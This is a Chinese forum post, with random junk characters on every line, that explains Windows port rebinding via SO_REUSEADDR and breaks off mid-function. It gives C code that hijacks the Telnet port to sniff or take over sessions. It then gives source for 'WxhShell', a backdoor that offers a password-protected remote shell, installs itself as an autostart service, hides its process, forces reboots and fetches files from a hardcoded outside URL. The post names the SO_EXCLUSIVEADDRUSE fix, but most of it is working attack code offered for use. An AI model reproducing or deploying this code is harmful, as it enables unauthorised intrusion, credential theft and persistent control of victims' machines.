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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |hzT;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !XE aF]8  
E)p9eU[#  
  saddr.sin_family = AF_INET; sa-9$},z4  
6F0(aGs  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v"6 \=@  
5 9 2;W-y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rGwIcx(%  
>l1 r,/\\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x"B' zP  
Utl t<  
  这意味着什么?意味着可以进行如下的攻击: loOOmHhJ&  
eD#XDK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [I+9dSM1t  
'ig, ATY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _9If/RD  
j'rS&BI G  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m2bDHQ+  
6qp5Xt+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I44s(G1j l  
'imU `zeo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p]|LV)R n  
*o?i:LE]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Fz"ff4Bx [  
pa/9F[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !c(QSf502  
UZxmh sv  
  #include GrI&?=S^  
  #include &w\ I<J`T  
  #include yXfMzG  
  #include    P'[<A Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m#@_8_ M  
  int main() hl/itSl$  
  { "ED8z|]j  
  WORD wVersionRequested; !q /5yEJ>h  
  DWORD ret; HkjEiU  
  WSADATA wsaData; Ob@Hng% v  
  BOOL val; ]|oJ)5P  
  SOCKADDR_IN saddr; &d^=s iL  
  SOCKADDR_IN scaddr; ?S`>>^  
  int err; iD_T P  
  SOCKET s; S`g;Y '  
  SOCKET sc; <|F-Dd  
  int caddsize;  kq/u,16@  
  HANDLE mt; @6MAX"  
  DWORD tid;   W kkxU.xXE  
  wVersionRequested = MAKEWORD( 2, 2 ); mb1IQ &  
  err = WSAStartup( wVersionRequested, &wsaData ); xy^1US ,L1  
  if ( err != 0 ) { vOT*iax0  
  printf("error!WSAStartup failed!\n"); X0i3_RVa  
  return -1; h}Ygb-uZ  
  } /tKGwX]y  
  saddr.sin_family = AF_INET; 1i-[+   
   9M2f!kJP$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v*TeTA %  
G}Z4g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K8Zt:yP  
  saddr.sin_port = htons(23); 3 N%{B  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tbG8MXX  
  { sBjXE>_#)  
  printf("error!socket failed!\n"); :YvbU Y  
  return -1; I,P!@  
  } F=Y S^  
  val = TRUE; %$n02"@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dr]&kqm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &HF]\`RNr  
  { _}=E^/;(  
  printf("error!setsockopt failed!\n"); i^g~~h F  
  return -1; $I8[BYblB  
  } &9P<qU^N)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a@ W7<9fY;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OlGR<X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /H&aMk}J@y  
myvh@@N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]N}]d +^6  
  { Q_}n%P:u  
  ret=GetLastError(); j jY{Uq  
  printf("error!bind failed!\n"); <94WZ?{p  
  return -1; |5ONFd e"0  
  } FdxsU DL  
  listen(s,2); [x_s/"Md;  
  while(1) rm|7 [mK  
  { %V_eJC""?  
  caddsize = sizeof(scaddr); Mq+< mX7  
  //接受连接请求 Bl4 dhBZoO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Czu1)y  
  if(sc!=INVALID_SOCKET) pGkef0p@  
  { 9ECS,r*B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0vckoE  
  if(mt==NULL) _S5gcPcF"  
  { V/-MIH7SF  
  printf("Thread Creat Failed!\n"); -1mvhR~  
  break; d}% (jJ(I  
  } `o-*Tr  
  } lU$X4JBzS  
  CloseHandle(mt); ^x3EotQ\  
  } IwRQL%  
  closesocket(s); 1v]t!}W:6  
  WSACleanup(); W-Of[X{<  
  return 0; yWuIu>VJ  
  }   6/7F">@j  
  DWORD WINAPI ClientThread(LPVOID lpParam) jtLn j@,  
  { u}CG>^0C  
  SOCKET ss = (SOCKET)lpParam; %EIUAG  
  SOCKET sc; <Kp+&(l,l  
  unsigned char buf[4096]; J|?[.h7tO  
  SOCKADDR_IN saddr; N cM3P G  
  long num; LUul7y'"  
  DWORD val; FV8\ +ep  
  DWORD ret; y:9?P~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vU 9ek:.l  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uu@<&.r\C  
  saddr.sin_family = AF_INET; npj5U/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); RAOKZ~`  
  saddr.sin_port = htons(23); lko3]A3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ULu O0\W  
  {  8bGD  
  printf("error!socket failed!\n"); k+txb?  
  return -1; %&1$~m0  
  } E7 L bSZ  
  val = 100; ">,K1:(D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p XNtN5@FQ  
  { Cz[5Ug'V  
  ret = GetLastError(); ~Jxlj(" 0(  
  return -1; B3 .X}ys#  
  } `&,_xUA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /J.0s0 @  
  { (zEYpTp  
  ret = GetLastError(); W U0UG$o`  
  return -1; 0#]!#1utg  
  } 0STk)> 3$-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) SZE`J:w  
  { 4K'|DO|dH  
  printf("error!socket connect failed!\n"); !xH,y  
  closesocket(sc); n4R]+&*  
  closesocket(ss); b<\GI 7  
  return -1; M;PlSb  
  } QU%N*bFW%P  
  while(1) Ks51:M  
  { 'Ye]eL,I\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Tz2x9b\82  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 > XZg@?Iw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^@Y9!G=  
  num = recv(ss,buf,4096,0); 8z0Hx  
  if(num>0) /t5g"n3  
  send(sc,buf,num,0); 9?!u2 o  
  else if(num==0) Ga?UHw~  
  break; Pgx+\;w"  
  num = recv(sc,buf,4096,0); wvX"D0eVn  
  if(num>0) "V:XhBG?  
  send(ss,buf,num,0); NC;T( @  
  else if(num==0) e00RT1L  
  break; Z{ %Uw;d  
  } JkJhfFV  
  closesocket(ss); ^X$ I=ro  
  closesocket(sc); T 77)Np  
  return 0 ; p>!1S  
  } (\tq<h0  
WEps.]s  
}il%AAI9}r  
========================================================== cS5w +`,L  
zK,~37)\  
下边附上一个代码,,WXhSHELL "wF*O"WQo  
C\J@fpH(t`  
========================================================== #'#4hJ*YC  
Vj29L?3  
#include "stdafx.h" VDPxue  
;+r0 O0;9  
#include <stdio.h> rrbZ+*U  
#include <string.h> Re7{[*Q4  
#include <windows.h> ]m RF[b$  
#include <winsock2.h> Fu#Y7)r  
#include <winsvc.h> +OKA_b"wB  
#include <urlmon.h> q~mcjbLz  
^sJ1 ^LT  
#pragma comment (lib, "Ws2_32.lib") 2k%Bl+I  
#pragma comment (lib, "urlmon.lib") ^NcTWbs-T  
$`ON!,oa  
#define MAX_USER   100 // 最大客户端连接数 B>R* f C@g  
#define BUF_SOCK   200 // sock buffer /Ql6]8.P  
#define KEY_BUFF   255 // 输入 buffer VN?<[#ij  
$B*qNYpPy.  
#define REBOOT     0   // 重启 ,I("x2  
#define SHUTDOWN   1   // 关机 bL+sN"Km  
}1l}-w`F  
#define DEF_PORT   5000 // 监听端口 #3YdjU3w  
|WQD=J%~(  
#define REG_LEN     16   // 注册表键长度 oJhEHx[f  
#define SVC_LEN     80   // NT服务名长度 hcj{%^p  
_Wq7U1v`  
// 从dll定义API 4;08n|C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kg zwlKK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CzK%x?~]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :u,2" ]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X5|?/aR}  
4GEjW4E  
// wxhshell配置信息 Lqg7D\7j  
struct WSCFG { w6%l8+{R  
  int ws_port;         // 监听端口 5/*)+  
  char ws_passstr[REG_LEN]; // 口令 r#ks>s  
  int ws_autoins;       // 安装标记, 1=yes 0=no #d3[uF]OmW  
  char ws_regname[REG_LEN]; // 注册表键名 AX/=}G  
  char ws_svcname[REG_LEN]; // 服务名 &mCs%l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *{HGLl|=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *sIi$1vHu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hg(KNvl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g]:..W7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =B1`R%t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $XU-[OF%:9  
^!N;F"  
}; Vx0MG{vG1  
7MR:X#2v>  
// default Wxhshell configuration :k Rv  
struct WSCFG wscfg={DEF_PORT, !$g(&  
    "xuhuanlingzhe", avF&F  
    1, f:)]FHPB1  
    "Wxhshell", QSO5 z2|  
    "Wxhshell", i(dXA(p  
            "WxhShell Service", B(HNB\3u  
    "Wrsky Windows CmdShell Service", ch%Q'DR_I)  
    "Please Input Your Password: ", 0:~gW#lD  
  1, #u!y`lek  
  "http://www.wrsky.com/wxhshell.exe", rjq -ZrC%  
  "Wxhshell.exe" w;yar=n  
    }; DK2c]i^|=  
TiwHLb9  
// 消息定义模块 ?14X8Mb8W_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fo--PtY`p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,Gf+U7'K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RXIH(WiK  
char *msg_ws_ext="\n\rExit."; 5|{  t+u  
char *msg_ws_end="\n\rQuit."; j(wY/Hl  
char *msg_ws_boot="\n\rReboot..."; 1 8l~4"|fk  
char *msg_ws_poff="\n\rShutdown..."; fSm?27_  
char *msg_ws_down="\n\rSave to "; F>hVrUD8  
_Eet2;9  
char *msg_ws_err="\n\rErr!"; C`=`Ce~|d  
char *msg_ws_ok="\n\rOK!"; B' <O)"1w  
1KfJl S+  
char ExeFile[MAX_PATH]; -Hl\j (D7  
int nUser = 0; pZNlcB[Qn-  
HANDLE handles[MAX_USER]; 9 &?tQ"@x  
int OsIsNt; KyVe0>{_u  
B{=,VwaP_  
SERVICE_STATUS       serviceStatus; 6'3Ey'drH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l%vhV&  
/jn:e"0~  
// 函数声明 G5C#i7cpm  
int Install(void); oW` *FD  
int Uninstall(void); ?Vb=4B{~  
int DownloadFile(char *sURL, SOCKET wsh); sZ\i(eIU  
int Boot(int flag); pJ<)intcbE  
void HideProc(void); KV3+}k  
int GetOsVer(void); :{e`$kz  
int Wxhshell(SOCKET wsl); .>cL/KaP  
void TalkWithClient(void *cs); 2l;ge>D J  
int CmdShell(SOCKET sock); LS?` {E   
int StartFromService(void); >xk:pL*o`  
int StartWxhshell(LPSTR lpCmdLine); u!156X?[eU  
&AkzSgP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vwSX$OZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Fp* &os  
Av\ 0GqF  
// 数据结构和表定义 HvL9;^!  
SERVICE_TABLE_ENTRY DispatchTable[] = *>R/(Q  
{ eFeCS{LV+  
{wscfg.ws_svcname, NTServiceMain}, 'JXN*YO  
{NULL, NULL} ?j ;,q  
}; @5 POgQ8  
[K^q: 3R  
// 自我安装 l7FZ;%&  
int Install(void) YjMbd?v  
{ jw&}N6^G  
  char svExeFile[MAX_PATH]; *AJezhR  
  HKEY key; <{P^W;N7  
  strcpy(svExeFile,ExeFile); Wl^/=I4p#  
uvAy#,  
// 如果是win9x系统,修改注册表设为自启动 QyBK*uNdV  
if(!OsIsNt) { D(2kb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lqwJ F &  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b]s%B.h  
  RegCloseKey(key); _16 &K}<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m78MWz]Yo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rg!aKdDl$  
  RegCloseKey(key); U~QCN[gh  
  return 0; Ix l"'Q_z  
    } ~vvQz"  
  } ?PH}b?f4  
} xHR+((  
else { $T@xnZ  
&dHm!b  
// 如果是NT以上系统,安装为系统服务 'FvhzGn9Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1]zyME  
if (schSCManager!=0) 7Ohu$5\  
{ L< nkI  
  SC_HANDLE schService = CreateService EKI+Dq,  
  ( 4 w/t$lR  
  schSCManager, AF{7<v>/P  
  wscfg.ws_svcname, DdA}A>47  
  wscfg.ws_svcdisp, 0 Ci"tA3"  
  SERVICE_ALL_ACCESS, T[2f6[#[_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B3k],k  
  SERVICE_AUTO_START, q2"'W|I  
  SERVICE_ERROR_NORMAL, `'{%szmD  
  svExeFile, ,1.([%z+r  
  NULL, L@x8hUG"  
  NULL, js$a^6  
  NULL, "$wPq@  
  NULL, u{dN>}{  
  NULL Y+5A2Z)f[  
  ); pOe`*2[  
  if (schService!=0) )}g4Rvr  
  { `cTsS  
  CloseServiceHandle(schService); ($ 1<Dj:  
  CloseServiceHandle(schSCManager); Z[A|SyZp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M#gGD-  
  strcat(svExeFile,wscfg.ws_svcname); 5 <>agK]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gpTF^.(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %2FCpre;  
  RegCloseKey(key); ?tM].\  
  return 0; DcvmeGl  
    } M`,Z#)Af  
  } ,, -[P*@  
  CloseServiceHandle(schSCManager); #p:jKAc3  
} 1Z{p[\k  
} %emPSBf@  
d?+oT0pCH  
return 1; bT6)(lm  
} ff+9(P>*  
=2V;B  
// 自我卸载 m"> =QP  
int Uninstall(void) ClVpb ew  
{ ,h(+\^ ?,  
  HKEY key; ^# g;"K0  
z4%F2Czai&  
if(!OsIsNt) { W1,L>Az^Ts  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R)d 7b,_Yd  
  RegDeleteValue(key,wscfg.ws_regname); l+kg4y  
  RegCloseKey(key); UK9MWC5g9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o[+|n[aT)3  
  RegDeleteValue(key,wscfg.ws_regname); V5^b6$R@  
  RegCloseKey(key); :FgRe,D  
  return 0; ,0u0 '  
  } g|*eN{g]uE  
} ;w&yGm  
} .mU.eLM  
else { NGeeD?2~  
rH_:7#.E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uEO2,1+  
if (schSCManager!=0) 2n r UE  
{ H_r'q9@<>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZN]c>w[ )I  
  if (schService!=0) >Ti2E+}[M  
  { 0Y`tj  
  if(DeleteService(schService)!=0) { Pj5#G0i%  
  CloseServiceHandle(schService); a/`Yh>ou  
  CloseServiceHandle(schSCManager); |ssIUJ  
  return 0; 1&L){hg  
  } bB :X<  
  CloseServiceHandle(schService); [";5s&)q  
  } 7%x+7  
  CloseServiceHandle(schSCManager); "ddH7:(k<  
} F!cAaL1  
} +g7nM7,1a  
%Yn)t3d  
return 1; >u[1v  
} ~=<}\a~  
?{w3|Ef&  
// 从指定url下载文件 (/-hu[:  
int DownloadFile(char *sURL, SOCKET wsh) )*;zW! H  
{ n+lOb  
  HRESULT hr; )irRO8  
char seps[]= "/"; ;,i]w"*  
char *token; N>(g?A; Z+  
char *file; G7--v,R1x  
char myURL[MAX_PATH]; ]?x: Qm'yo  
char myFILE[MAX_PATH]; "YdEE\  
>9RD_QG7  
strcpy(myURL,sURL); ;S0Kh"A  
  token=strtok(myURL,seps); oAWzYu(v  
  while(token!=NULL) t#%R q  
  { I$E.s*B9  
    file=token; pwwH<0[  
  token=strtok(NULL,seps); \AL f$88>@  
  } x+f2GA$  
_k8A$s<d  
GetCurrentDirectory(MAX_PATH,myFILE); ) ri}nL.  
strcat(myFILE, "\\"); '47P|t  
strcat(myFILE, file); MlLb|!,)T  
  send(wsh,myFILE,strlen(myFILE),0); 1]orUF&_  
send(wsh,"...",3,0); &Tl 0Pf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yG Wnod'  
  if(hr==S_OK) 5~mh'<:  
return 0; K'K2X-E  
else %QKZT=}  
return 1; *tm0R>?!  
6JKqn~0Kk  
} atXS-bg*  
dnV[ P  
// 系统电源模块 ^v.,y3  
int Boot(int flag) bdGIF'p%  
{ F(t=!k,4\  
  HANDLE hToken; 7^w >Rj  
  TOKEN_PRIVILEGES tkp; wywQ<n  
^"J8r W6[  
  if(OsIsNt) { 5) -~mW y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hKzSgYxP=t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C@jJ.^ <<  
    tkp.PrivilegeCount = 1; #v<QbA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $95h2oXt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TDd{.8qf  
if(flag==REBOOT) { Duc#$YfGm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }:Z#}8  
  return 0; =0;^(/1Mc  
} u]vQ>Uu  
else { SR DXfkoI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bdj%hyW  
  return 0; i\W/C  
} Qx[t /~  
  } %;.;>Y(-  
  else { J/}:x;Y  
if(flag==REBOOT) { :O(^w}sle  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JwJ7=P=c  
  return 0; Q'%PNrN  
} _6wFba@>/n  
else { ;\p KDPr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1x[)/@.'f  
  return 0; {#)0EzV6  
} 1&e} ms  
} )HX|S-qRU=  
"_`F\DGAZu  
return 1; A]XZnQ  
} `3:.??7N  
g&`pgmUX  
// win9x进程隐藏模块 )KP5Wud X  
void HideProc(void) J9=m]R8T  
{ # vry0i  
Q:5KZm[[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {#{DH?=^)u  
  if ( hKernel != NULL ) p ZZc:\fJ  
  { A\#iXOd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sVl-N&/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f4BnX(1u  
    FreeLibrary(hKernel); '7oA< R  
  } 0=K9`=5d0  
b?Ki;[+O  
return; 2z|*xS'G  
} ;s52{>&F]  
&-mX ,   
// 获取操作系统版本 3K_A<j:  
int GetOsVer(void) 7P9=)$(EH  
{ VH[hsj  
  OSVERSIONINFO winfo; A]DTUdL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3JVK  
  GetVersionEx(&winfo); 0A( +ZMd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?`4+cx}n  
  return 1; E>}4$q[r  
  else x l#LrvxI  
  return 0; |M+<m">E  
} 8)4P Ll  
-UD\;D?$  
// 客户端句柄模块 %%4t~XC#  
int Wxhshell(SOCKET wsl) TsGE cxIg  
{ ma((2My'H  
  SOCKET wsh; IEzaK  
  struct sockaddr_in client; p8]68!=W\F  
  DWORD myID; }|XtypbL  
+mp@b942*  
  while(nUser<MAX_USER) Et/&^&=\-  
{ uxzze~_+C  
  int nSize=sizeof(client); 19j+lCSvH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?G -e](]^<  
  if(wsh==INVALID_SOCKET) return 1; 2^l[(N  
1SR+m>pL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Sx8OhUyux  
if(handles[nUser]==0) (4Zts0O\  
  closesocket(wsh); Y2?.}ZO  
else yfC^x%d7G  
  nUser++; NvvUSyk\;s  
  } `IY/9'vT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xt'sQ}  
kVy\b E0o  
  return 0; 3dRr/Ilc  
} p f_mf.  
>z.<u|r2  
// 关闭 socket %Pqf{*d8  
void CloseIt(SOCKET wsh) 6KOlY>m]  
{ PK4iuU`vh  
closesocket(wsh); ZE/o?4k*c1  
nUser--; jWYV#ifs2  
ExitThread(0); <&:=z?30"  
} ^*fxR]Y  
Y]3>7q%  
// 客户端请求句柄 37RLE1Yf  
void TalkWithClient(void *cs) A4]s~Ur  
{ zD?K>I=  
{je-I9%OK  
  SOCKET wsh=(SOCKET)cs; HX6Ma{vBk  
  char pwd[SVC_LEN]; $e /^u[~:  
  char cmd[KEY_BUFF]; ty DM'|p  
char chr[1]; wWp(yvz  
int i,j; Zw~+Pb  
w$u3W*EoU^  
  while (nUser < MAX_USER) { uZ=NSbYsA  
?Oc{bF7  
if(wscfg.ws_passstr) { g=e71DXG2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M_%B|S {  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d%0~c'D8a  
  //ZeroMemory(pwd,KEY_BUFF); nO)X!dp}J  
      i=0; |eWjYGwJa  
  while(i<SVC_LEN) { $/7pYl\n  
%DQhM,c@  
  // 设置超时 ;-Jb1"5  
  fd_set FdRead; \{EpduwZ  
  struct timeval TimeOut; =dx1/4bZl|  
  FD_ZERO(&FdRead); p3}?fej&|  
  FD_SET(wsh,&FdRead); >B>CB3U  
  TimeOut.tv_sec=8; 2 6>ZW4Z  
  TimeOut.tv_usec=0; # (- Qx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z-c}NdW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [S@}T zE  
g9Yz*Nee<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2r 6'O6v  
  pwd=chr[0]; G!XIc>F*  
  if(chr[0]==0xd || chr[0]==0xa) { 2"-S<zM  
  pwd=0; X~xd/M=9^  
  break; {Ixg2=E\  
  } .T*GN|@$!  
  i++; /By)"  
    } 9RWkm%?  
\t|M-%&)4  
  // 如果是非法用户,关闭 socket d|iy#hy"_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kZ=s'QRgL  
} 0=="^t_  
ILic.@st  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n\ Hs@.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u@3y&b  
_0 m\[t.  
while(1) { 3.)b4T  
e9E\% p  
  ZeroMemory(cmd,KEY_BUFF); !(t,FYeH  
nL?oTze*p  
      // 自动支持客户端 telnet标准   ;2m<CSv!D  
  j=0; U/NBFc:[y:  
  while(j<KEY_BUFF) {  P5gN#G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2:LHy[{5  
  cmd[j]=chr[0]; 1R. 4:Dn_  
  if(chr[0]==0xa || chr[0]==0xd) { ]p!Gt,rYq  
  cmd[j]=0; |D.O6?v@  
  break; AE@NOM7u  
  } <A.W 8b7D  
  j++; e2-Dq]p  
    } pDh se2  
} 17.~  
  // 下载文件 vEG'HOP  
  if(strstr(cmd,"http://")) { y3<Y?M4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dXn%lJ  
  if(DownloadFile(cmd,wsh)) Ac|5. ?|N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U,Mx@KdV  
  else _u}4j9T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %/.a]j!  
  } gLsU:aeCT  
  else { 4eH.9t  
_#_ E^!  
    switch(cmd[0]) { C}5M;|%3)  
  $c&0F,   
  // 帮助 =IKEb#R/  
  case '?': { q/1Or;iK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S|B$c E  
    break; !Ss HAE|  
  } bqx0d=Z~[  
  // 安装 P;]F=m+ *V  
  case 'i': { 4l8BQz}sb  
    if(Install()) Jg$xO@.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H0"=Vs,n  
    else AD('=g J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tx%VU8\?n  
    break; DDd|T;8  
    } Bf4%G,o5  
  // 卸载 u2(eaP8d  
  case 'r': { /b,TpuM^  
    if(Uninstall()) 0F;,O3Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FnHi(S|A  
    else !~-6wN"k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o{-<L  
    break; <1~^C  
    } `xKFqx:e  
  // 显示 wxhshell 所在路径 34|a:5c  
  case 'p': { 8Og3yFx[rt  
    char svExeFile[MAX_PATH]; sNU}n<J-  
    strcpy(svExeFile,"\n\r"); F:37MUQi  
      strcat(svExeFile,ExeFile); ;Pb8YvG1$  
        send(wsh,svExeFile,strlen(svExeFile),0); ")lw9t`  
    break; s.jO<{  
    } Wf>^bFb"$  
  // 重启 ~0-g%C?R  
  case 'b': { PQj<[rY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %kU'hzLg  
    if(Boot(REBOOT)) $(HjI \%l^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CP` XUpX`&  
    else { V{Q kN7-  
    closesocket(wsh); 6/mF2&&g  
    ExitThread(0); (B`sQw@tu  
